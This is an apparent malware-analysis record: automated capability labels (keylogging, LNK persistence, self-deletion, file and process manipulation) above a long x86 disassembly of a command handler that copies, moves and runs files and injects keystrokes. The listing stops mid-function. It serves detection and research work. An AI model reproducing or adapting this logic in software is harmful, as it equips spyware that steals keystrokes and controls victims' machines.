Function at 0x4df5cc
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Delete file
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x15f
push 0
push 0
dec ecx
jne 0x4df5d4
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4707bc]
call fcn.00405278
xor eax, eax
push ebp
push 0x4e5d64
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x53d314], 0x805
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
mov dword [0x547430], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf2
ja case.0x4df632.10
mov al, byte [eax + 0x4df639]
jmp dword [eax*4 + 0x4df72c]
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
push 0x4e5d80
push dword [0x547634]
push 0x4e5d94
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.0040494c
push 0x4e5d80
push dword [0x547634]
push 0x4e5da4
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.0040494c
lea eax, [ebp - 0xd8]
call fcn.004da9c4
lea eax, [ebp - 0xdc]
call fcn.004da9c4
cmp ebx, 0xa
jne 0x4df96b
lea edx, [ebp - 0x8b4]
mov eax, 0x13
call fcn.004ab720
mov eax, dword [ebp - 0x8b4]
mov ecx, dword [0x547624]
mov edx, dword [0x547634]
call fcn.0046c2e8
test al, al
je case.0x4df632.10
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4df632.10
cmp ebx, 0xb
jne 0x4df9c2
push 0
mov eax, dword [0x53eee8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4e5db4
call fcn.004d8820
test eax, eax
jne case.0x4df632.10
lea edx, [ebp - 0x8b8]
mov eax, 0x13
call fcn.004ab720
mov eax, dword [ebp - 0x8b8]
mov edx, dword [0x547634]
call fcn.0046d0d8
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4df632.10
cmp ebx, 0xc
jne 0x4dfa81
mov edx, dword [0x53eee8]
mov edx, dword [edx]
mov eax, 0x4e5dc0
call fcn.00404bc8
test eax, eax
jne case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0x4e5dcc
mov eax, dword [0x53eee8]
push dword [eax]
push 0x4e5ddc
lea eax, [ebp - 0x8bc]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0x8bc]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8c0]
mov edx, dword [ebp - 0xdc]
call fcn.00404e90
mov eax, dword [ebp - 0x8c0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dfcc
test al, al
je 0x4dfa74
lea edx, [ebp - 0x8c4]
mov eax, 0x13
call fcn.004ab720
mov eax, dword [ebp - 0x8c4]
mov edx, dword [0x547634]
call fcn.0046d0d8
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4df632.10
cmp ebx, 0xd
jne case.0x4df632.10
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004ab720
mov eax, dword [ebp - 0x8c8]
mov edx, dword [0x547634]
call fcn.0046d0d8
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4df632.10
mov eax, 0x547588
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x8cc]
mov eax, 0x125
call fcn.004ab720
mov eax, dword [ebp - 0x8cc]
push eax
lea eax, [ebp - 0x8d0]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8d0]
mov ecx, dword [0x547588]
pop edx
call fcn.0046db80
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
jmp case.0x4df632.10
lea edx, [ebp - 0x8d4]
mov eax, 0x125
call fcn.004ab720
mov eax, dword [ebp - 0x8d4]
push eax
lea eax, [ebp - 0x8d8]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8d8]
xor ecx, ecx
pop edx
call fcn.0046db80
lea eax, [ebp - 0x8dc]
call fcn.00471268
mov edx, dword [ebp - 0x8dc]
mov eax, 0x547588
call fcn.0040460c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x5476f1]
jne case.0x4df632.10
cmp byte [0x53db48], 0
jne case.0x4df632.10
xor eax, eax
push ebp
push 0x4dfc35
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db48], 1
cmp byte [0x5476e4], 0
je 0x4dfc03
mov byte [0x5476fd], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x547880], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004dde14
jmp 0x4dfc20
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x5476f1]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004dc870
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4df632.10
mov byte [0x53db48], 0
ret
cmp dword [0x53d390], 0x521044e
jb case.0x4df632.10
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
jne 0x4dfc75
mov eax, dword [0x53ed58]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e940]
mov eax, dword [eax]
mov ecx, 0x4e5de8
mov edx, 0x634
call fcn.004afccc
jmp 0x4dfc94
push 0x501
mov ecx, dword [0x53ec54]
mov ecx, dword [ecx]
mov edx, dword [0x53e740]
mov eax, dword [0x53e6f8]
mov eax, dword [eax]
call fcn.004af614
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 8
mov byte [0x5477d0], al
mov eax, 0x547703
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0x10
mov dword [0x54759c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0xffff
mov dword [0x5475a0], eax
jmp case.0x4df632.10
mov eax, dword [0x53e940]
mov eax, dword [eax]
call fcn.004afe5c
mov edx, dword [0x53e740]
mov eax, dword [0x53e6f8]
mov eax, dword [eax]
call fcn.004af74c
cmp dword [0x547600], 0
je case.0x4df632.10
mov eax, 0x547600
call fcn.004045b8
mov al, byte [0x547458]
call fcn.004b0c28
jmp case.0x4df632.10
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov eax, dword [ebp - 0x60]
call fcn.004ec3a8
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
mov dword [0x54761c], eax
mov eax, dword [0x54761c]
add eax, 0x5b
cmp eax, dword [0x5476b0]
jae 0x4dfd77
push 0
push 0x3e8
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4dfd77
cmp eax, 0
je case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54774c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x547750], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4df632.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4df632.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4df632.10
call fcn.004de01c
jmp case.0x4df632.10
mov eax, dword [0x53e594]
cmp byte [eax], 1
jne case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xff
call fcn.004deacc
jmp case.0x4df632.10
mov eax, dword [0x53e594]
cmp byte [eax], 1
jne case.0x4df632.10
call fcn.004debf8
jmp case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
jmp case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
call fcn.004dec88
xor edx, edx
mov eax, 1
call fcn.004deca8
jmp case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
add eax, 0x2710
adc edx, 0
mov dword [0x53d414], eax
mov dword [0x53d418], edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor eax, eax
call fcn.004d8dac
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53da68], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53da64], eax
cmp dword [0x53da64], 0
jg case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
mov edx, dword [0x53da68]
mov ax, 2
call fcn.004d8dac
jmp case.0x4df632.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
mov eax, dword [0x53eec4]
cmp dword [eax], 2
jne 0x4dff4a
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 8
call fcn.004d8dac
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 1
call fcn.004d8dac
jmp case.0x4df632.10
cmp byte [0x53d3c4], 2
je case.0x4df632.10
cmp byte [0x547702], 3
jne case.0x4df632.10
cmp byte [0x5476e4], 0
jne case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x5476e5]
call fcn.004196b8
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8e4]
mov eax, 0xf3
call fcn.004ab720
mov ecx, dword [ebp - 0x8e4]
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x8e0]
call fcn.004048d8
mov eax, dword [ebp - 0x8e0]
call fcn.004df3f8
pop ecx
push ebp
mov eax, dword [0x5475bc]
call fcn.004df3f8
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x5476e5]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4e0078
cmp dword [ebp - 0x15], 0x55662143
jne 0x4e0044
lea edx, [ebp - 0x3c]
mov eax, dword [0x5476e5]
call fcn.00470e4c
push ebp
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x8e8]
mov ecx, dword [ebp - 0x3c]
call fcn.004048d8
mov eax, dword [ebp - 0x8e8]
call fcn.004df3f8
pop ecx
jmp 0x4dfff2
mov eax, dword [0x5476e5]
call fcn.00419698
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x5476e5]
call fcn.004196b8
push ebp
mov eax, dword [0x5475b0]
call fcn.004df3f8
pop ecx
push ebp
mov eax, dword [0x5475b4]
call fcn.004df3f8
pop ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4e00d0
lea edx, [ebp - 0x8f4]
mov eax, 0xb
call fcn.004ab720
mov ecx, dword [ebp - 0x8f4]
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
call fcn.004048d8
mov edx, dword [ebp - 0x8f0]
lea eax, [ebp - 0x8ec]
call fcn.00404e90
mov eax, dword [ebp - 0x8ec]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dfcc
jmp 0x4e0104
lea edx, [ebp - 0x8fc]
mov eax, 0xb
call fcn.004ab720
mov ecx, dword [ebp - 0x8fc]
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
call fcn.004048d8
mov eax, dword [ebp - 0x8f8]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, 0x12c
call fcn.004d8720
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
call fcn.004dec88
xor edx, edx
mov eax, 2
call fcn.004deca8
push 5
mov eax, dword [0x53ec70]
call fcn.00404adc
push eax
mov eax, 0x5475c0
call fcn.00404adc
push eax
mov eax, 0x5475bc
call fcn.00404adc
push eax
push 0x4e5df8
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4df632.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0x3c]
call fcn.004da9c4
push 1
push 0
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a84
push eax
push 0x4e5df8
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4df632.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov eax, dword [ebp - 0x3c]
call fcn.0040488c
mov ebx, eax
inc ebx
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x40]
call fcn.00409f50
mov eax, dword [ebp - 0x40]
call fcn.0040488c
inc eax
add ebx, eax
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x44]
call fcn.00409f50
lea edx, [ebp - 0x900]
mov eax, 0xf4
call fcn.004ab720
mov edx, dword [ebp - 0x900]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e024f
lea eax, [ebp - 0x40]
call fcn.004da9c4
lea eax, [ebp - 0x44]
call fcn.004da9c4
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 0
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4df632.10
lea edx, [ebp - 0x904]
mov eax, 0xf5
call fcn.004ab720
mov edx, dword [ebp - 0x904]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e049e
mov eax, dword [ebp - 0x40]
call fcn.0040488c
cmp eax, 3
jle case.0x4df632.10
lea eax, [ebp - 0x40]
call fcn.004da9c4
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
mov eax, dword [ebp - 0x40]
cmp byte [eax + 1], 0x3a
jne 0x4e02e2
mov al, byte [0x5478c0]
call fcn.0046b91c
test al, al
je 0x4e02e2
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e02e2
lea edx, [ebp - 0x908]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0x908]
mov eax, 0x53db44
call fcn.0040460c
jmp 0x4e02ec
mov eax, 0x53db44
call fcn.004045b8
mov eax, dword [ebp - 0x40]
call fcn.0046dd20
test al, al
je 0x4e035f
mov eax, dword [ebp - 0x40]
call fcn.004f62d0
mov edx, 2
mov eax, dword [ebp - 0x40]
call fcn.004d9de8
cmp dword [0x53db44], 0
je 0x4e0478
lea eax, [ebp - 0x910]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x40]
call fcn.00404ae4
mov ecx, dword [ebp - 0x910]
lea eax, [ebp - 0x90c]
mov edx, dword [0x53db44]
call fcn.004048d8
mov eax, dword [ebp - 0x90c]
mov edx, 2
call fcn.004d9de8
jmp 0x4e0478
mov eax, dword [ebp - 0x40]
call fcn.00462e1c
test al, al
je 0x4e0478
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a754]
call fcn.0046a9dc
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4eb3c8
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4eb604
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ebbec
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4e0417
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aa90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e041e
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
cmp dword [0x53db44], 0
je case.0x4df632.10
mov eax, 0x53db44
call fcn.004045b8
mov al, byte [0x5478c0]
call fcn.004b0c28
jmp case.0x4df632.10
lea edx, [ebp - 0x918]
mov eax, 0xf6
call fcn.004ab720
mov edx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e04f9
lea eax, [ebp - 0x40]
call fcn.004da9c4
lea eax, [ebp - 0x44]
call fcn.004da9c4
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 3
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4df632.10
lea edx, [ebp - 0x91c]
mov eax, 0xf7
call fcn.004ab720
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e055e
mov eax, dword [0x5475a4]
call fcn.0046dd20
test al, al
je case.0x4df632.10
mov cl, 1
mov dl, 1
mov eax, dword [0x4b13f8]
call fcn.004b17fc
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 0x30
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0x5c]
mov byte [eax + 0x34], 4
mov eax, dword [ebp - 0x5c]
call fcn.0041f614
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 1
dec eax
sete byte [0x547848]
lea eax, [ebp - 0x44]
call fcn.004da9c4
cmp dword [ebp - 0x44], 0
jne 0x4e0588
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
call fcn.0046dc98
lea eax, [ebp - 0x3c]
call fcn.004da9c4
mov eax, 0x54783c
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, 0x547840
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, 0x547844
mov edx, dword [ebp - 0x44]
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53daac], eax
cmp dword [0x53daac], 0
jg case.0x4df632.10
mov eax, dword [ebp - 0x28]
call fcn.004dee1c
jmp case.0x4df632.10
lea eax, [ebp - 0x1c4]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x19c], 0x1c0000
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x15c], eax
push 1
lea eax, [ebp - 0x1c4]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4df632.10
call fcn.004df35c
jmp case.0x4df632.10
cmp dword [0x546428], 0x200000
jg case.0x4df632.10
cmp byte [0x53d4b0], 1
jb case.0x4df632.10
mov eax, dword [0x53d32c]
mov dword [0x53d334], eax
mov eax, dword [0x53d330]
mov dword [0x53d338], eax
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 1
setne dl
xor al, dl
je 0x4e06c8
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x18], 1
setne byte [0x53db68]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 2
setne dl
xor al, dl
je 0x4e070b
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 4
setne dl
xor al, dl
je 0x4e074e
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp ebx, 0x14
je case.0x4df632.10
cmp ebx, 0x90
je case.0x4df632.10
cmp ebx, 0x91
je case.0x4df632.10
cmp ebx, 0x10
jne 0x4e078c
test esi, 0x80000000
je 0x4e0785
mov byte [0x53db6c], 0
jmp 0x4e078c
mov byte [0x53db6c], 1
cmp ebx, 0x12
jne 0x4e07fb
test esi, 0x1000000
jne 0x4e07cd
test esi, 0x80000000
je 0x4e07b8
mov al, byte [0x4e5e00]
not eax
and al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
mov al, byte [0x4e5e00]
or al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
test esi, 0x80000000
je 0x4e07e9
mov al, byte [0x4e5e04]
not eax
and al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
mov al, byte [0x4e5e04]
or al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
cmp ebx, 0x11
jne 0x4e0862
test esi, 0x1000000
jne 0x4e0836
test esi, 0x80000000
je 0x4e0824
mov al, byte [0x4e5e08]
not eax
and al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
mov al, byte [0x4e5e08]
or al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
test esi, 0x80000000
je 0x4e0852
mov al, byte [0x4e5e0c]
not eax
and al, byte [0x53da94]
mov byte [0x53da94], al
jmp 0x4e0862
mov al, byte [0x4e5e0c]
or al, byte [0x53da94]
mov byte [0x53da94], al
mov eax, dword [0x53e694]
cmp dword [eax], 0
jne 0x4e0871
call fcn.004d381c
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jne 0x4e0880
call fcn.004d4b3c
mov eax, dword [0x53e790]
cmp dword [eax], 0
jne 0x4e088f
call fcn.004d5298
cmp byte [0x54756c], 0
je 0x4e0911
mov al, byte [0x4e5e10]
cmp al, byte [0x53da94]
jne 0x4e0911
cmp ebx, 0x41
jl 0x4e08af
cmp ebx, 0x5a
jle 0x4e08e8
cmp ebx, 0x30
jl 0x4e08b9
cmp ebx, 0x39
jle 0x4e08e8
cmp ebx, 0x60
jl 0x4e08c3
cmp ebx, 0x6f
jle 0x4e08e8
cmp ebx, 0xba
jl 0x4e08d3
cmp ebx, 0xc0
jle 0x4e08e8
cmp ebx, 0xdb
jl 0x4e08e3
cmp ebx, 0xde
jle 0x4e08e8
cmp ebx, 0x20
jne 0x4e0911
test esi, 0x80000000
jne case.0x4df632.10
mov edx, esi
mov eax, ebx
call fcn.004df248
xor esi, 0x80000000
mov edx, esi
mov eax, ebx
call fcn.004df248
jmp case.0x4df632.10
mov edx, esi
mov eax, ebx
call fcn.004df248
jmp case.0x4df632.10
cmp dword [0x546428], 0x200000
jg case.0x4df632.10
cmp byte [0x53d4b0], 1
jb case.0x4df632.10
mov eax, dword [0x53d32c]
mov dword [0x53d334], eax
mov eax, dword [0x53d330]
mov dword [0x53d338], eax
mov eax, dword [0x53e694]
cmp dword [eax], 0
jne 0x4e0963
call fcn.004d381c
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jne 0x4e0972
call fcn.004d4b3c
mov eax, dword [0x53e790]
cmp dword [eax], 0
jne 0x4e0981
call fcn.004d5298
mov eax, dword [0x53e694]
cmp dword [eax], 0
jle 0x4e0b6f
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e09a5]
mov eax, 0x12
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, 0x12
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, 0x11
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, 0x11
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, 0x11
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, 0x11
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d33d4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d33ec
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d33ec
jmp case.0x4df632.10
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jle 0x4e0e47
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4df632.10
jmp dword [eax*4 + 0x4e0b93]
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53e4b8]
mov eax, dword [eax]
call eax
jmp case.0x4df632.10
push 0x12
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x53ed7c]
mov eax, dword [eax]
push eax
mov eax, dword [0x53ed78]
mov eax, dword [eax]
call eax
